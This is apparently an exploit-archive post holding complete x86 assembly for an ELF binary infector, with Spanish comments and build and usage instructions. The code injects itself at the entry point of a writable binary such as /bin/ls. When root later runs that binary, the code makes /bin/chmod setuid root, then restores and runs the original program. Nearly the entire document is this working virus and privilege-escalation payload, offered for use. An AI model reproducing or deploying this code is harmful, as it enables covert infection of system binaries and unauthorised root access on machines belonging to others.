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Infecting Elf Binaries to Gain Local Root Exploit
================================================= Infecting Elf Binaries to Gain Local Root Exploit ================================================= # gcc infR3.s -o infR3 # strip infR3 # find a writable binary (example: ls) # ./infR3 /bin/ls # when root calls the writable ls, chmod will be setuided # Coded by jolmos@7a69ezine.org == sha0@BadCheckSum.com .text .global main # infeccion de _start para conseguir local root # use at your own risk # # Coded by jolmos@7a69ezine.org == sha0@BadCheckSum.com # # GPLv2 main: push %ebp movl %esp, %ebp subl $500, %esp #si el codigo del bicho es mas grande, habra k ampliar este buffer get_param: movl 0x0c(%ebp), %eax movl 4(%eax), %ebx # ebx -> argv[1] open_host: movl $5, %eax movl $2, %ecx int $0x80 movl %eax, -4(%ebp) # descriptor en -4 calc_len: movl $19, %eax movl -4(%ebp), %ebx xorl %ecx, %ecx movl $2, %edx int $0x80 movl %eax, -8(%ebp) # longitud del host en -8 mapeo: movl $90, %eax xorl %ecx, %ecx pushl %ecx # offset 0 pushl -4(%ebp) # descriptor pushl $1 # privado 0x22 pushl $3 # read|write 0x07 pushl -8(%ebp) # size pushl %ecx # nulo, para que nos indique mmap donde. movl %esp, %ebx int $0x80 cmp $0xfffff000, %eax jbe ident # error en el mapa jmp ending ident: movl %eax, -12(%ebp) # -12 -> VA del mapa # eax -> VA del mapa cmpl $0x464c457f, (%eax) # es elf? jne not_elf cmpb $0x02, 0x10(%eax) # es ejecutable? jne not_elf cmpl $0xde, 0x07(%eax) # comprobar si ya ha sido infectado je not_elf movl $0xde, 0x07(%eax) # Marca de infeccion guarda_init: movl $end_vir, %ecx #addl $5, %ecx subl $start_vir, %ecx movl %ecx,-16(%ebp) # -16 -> size del virus + 5 # ecx -> size del virus + 5 leal -500(%ebp), %edi # edi -> -500 movl 0x18(%eax), %esi # esi -> RVA e_entry movl 0x2c(%eax), %ecx # Numero de PH's (e_phnum) (cuenta atras) primer_ph: movl 0x1c(%eax), %edx # edx -> RVA e_phoff addl %eax, %edx # edx -> VA e_phoff busca_ph: cmpl %esi, 0x08(%edx) # if e_entry > p_vaddr => siguiente PH jna destino siguiente_ph: addl 0x2a(%edx), %edx loop busca_ph destino: ######### LA CLAVE DE TODO ########## subl 0x08(%edx), %esi # esi -> RVA e_entry-p_vaddr addl 0x04(%edx), %esi # esi -> RVA e_entry-p_vaddr+p_offset #addl $0x34, %esi # alineacion #subl $0x30 -> _init #addl $0x34 -> _start (p_offset) #subl $0x65, %esi addl %eax, %esi # esi -> VA e_entry-p_vaddr+p_offset movl %esi, %edx salvo_start: movl -16(%ebp), %ecx # virus size rep movsb # copiando _start en -400 guarda_virus: movl %edx, %edi # edi -> VA del entry point movl $start_vir, %esi # esi -> VA del inicio del virus movl -16(%ebp), %ecx # ecx -> size del virus rep movsb jmp sincroniza not_elf: movl $4, %eax movl $1, %ebx movl $notelf, %ecx movl $28, %edx int $0x80 sincroniza: movl %eax, %ebx # ebx -> mapa movl $144, %eax # eax -> msync movl -8(%ebp),%ecx # ecx -> size del mapa movl $2, %edx # edx -> flags int $0x80 desmapea: movl $91, %eax movl -12(%ebp), %ebx # VA inicial del mapa movl -8(%ebp), %ecx # size del mapa int $0x80 seek_end: movl $19, %eax # lseek movl -4(%ebp), %ebx xorl %ecx, %ecx movl $2, %edx # SEEK_END int $0x80 write: movl $4, %eax movl -4(%ebp), %ebx leal -500(%ebp), %ecx movl -16(%ebp), %edx int $0x80 cierra_host: movl $6, %eax movl -4(%ebp), %ebx int $0x80 utime: #movl $30, %eax #int $0x80 ending: movl $6, %eax int $0x80 leave ret ###################################################################### start_vir: pushal # backup de 0x20 bytes subl $400, %esp # espacio de pila de 400 bytes (total 0x1b0 bytes 0x1b0 + 4 = 0x1b4(%esp)) call delta # ebp -> delta offset delta: popl %ebp subl $delta, %ebp payload_code: ##### PAYLOAD ##### soy_root: movl $0x18, %eax int $0x80 #__NR_getuid test %eax, %eax no_pues_fuera: jnz end_payload_code setuidar: movl $0x0f, %eax leal shushi(%ebp), %ebx movl $04755, %ecx int $0x80 # __NR_chmod end_payload_code: ###################### calcula_nombre_host: movl $1,%edx # edx -> length del nombre de host movl 0x1b4(%esp), %edi # edi -> addr del inicio del nombre del huesped xorl %ebx, %ebx movl $9900, %ecx busca_path: cmpl %ebx, (%edi) je path_encontrado incl %edi loop busca_path path_encontrado: movl $100, %ecx decl %edi situa_inicio_nombre: cmpb %bl, (%edi) je nombre_ok decl %edi loop situa_inicio_nombre nombre_ok: incl %edi desproteger_host: movl $125, %eax # mprotect leal start_vir(%ebp), %ebx andl $0xfffff000, %ebx # pagina del bicho movl $2000, %ecx # 2 paginas a desproteger movl $7, %edx # rwx int $0x80 # ahora ya tengo w ya puedo poner encima # el codigo correcto de _start desproteger_pila: movl $125, %eax # mprotect movl %esp, %ebx andl $0xfffff000, %ebx # pagina de pila int $0x80 # reconstruye_host: movl $5, %eax # open movl %edi, %ebx # argv[0] xorl %ecx, %ecx # solo me puedo abrir a mi mismo en modo 0 int $0x80 # (O_RDONLY) movl $end_vir, %esi # final-inicio+variable del final subl $start_vir, %esi # esi -> virus length xorl %ecx, %ecx movl %eax, %ebx # descriptor host movl $19, %eax # lseek movl $2, %edx # SEEK_END int $0x80 # nos situamos al final del host-virsize movl %eax, %edi # edi -> tamanyo del host pushl %ecx # offset: todo el file desde el inicio pushl %ebx # descriptor pushl $1 # mapa privado pushl $1 # solo lectura (el descriptor esta modo 0) pushl %eax # mapeamos todo el file pushl %ecx # que me de el la address movl $90, %eax movl %esp, %ebx int $0x80 cmp $0xfffff000, %eax jbe reconstruye int $3 # mapa incorrecto reconstruye: addl %edi, %eax # eax -> final del mapa subl %esi, %eax # eax -> inicio del saved _start movl %esi, virisize(%ebp) movl %eax, savedstart(%ebp) movl $fin_paranoia, %ecx # como que no me puedo borrar a mi subl $paranoia, %ecx # mismo, porque perderia la ejecucion leal paranoia(%ebp), %esi # copio el codigo de borrado a otro movl %esp, %edi # area de memoria y desvio la ejecucion rep movsb # ahi. jmp *%esp paranoia: movl virisize(%ebp), %ecx movl savedstart(%ebp), %esi # optimizable leal start_vir(%ebp), %edi rep movsb proteger_host: movl $125, %eax # mprotect leal start_vir(%ebp), %ebx andl $0xfffff000, %ebx # pagina del bicho movl $2000, %ecx # 2 paginas a desproteger movl $5, %edx # r-x int $0x80 # ahora ya tengo w ya puedo poner encima # el codigo correcto de _start proteger_pila: movl $125, %eax # mprotect movl %esp, %ebx andl $0xfffff000, %ebx # pagina de pila movl $6, %edx # rw- int $0x80 # movl $6, %eax # close int $0x80 # ebx descriptor leal start_vir(%ebp), %eax addl $424, %esp # ok movl %eax, 8(%esp) # ok (en el saved ebp) popal jmp *%ebp fin_paranoia: virisize: .long 0x00000000 savedstart: .long 0x00000000 shushi: .string "/bin/chmod\0" end_vir: ####################################################################### notelf: .string "NOT ELF OR INFECTED YET!!!\n\0" fin: # 0day.today [2024-09-28] #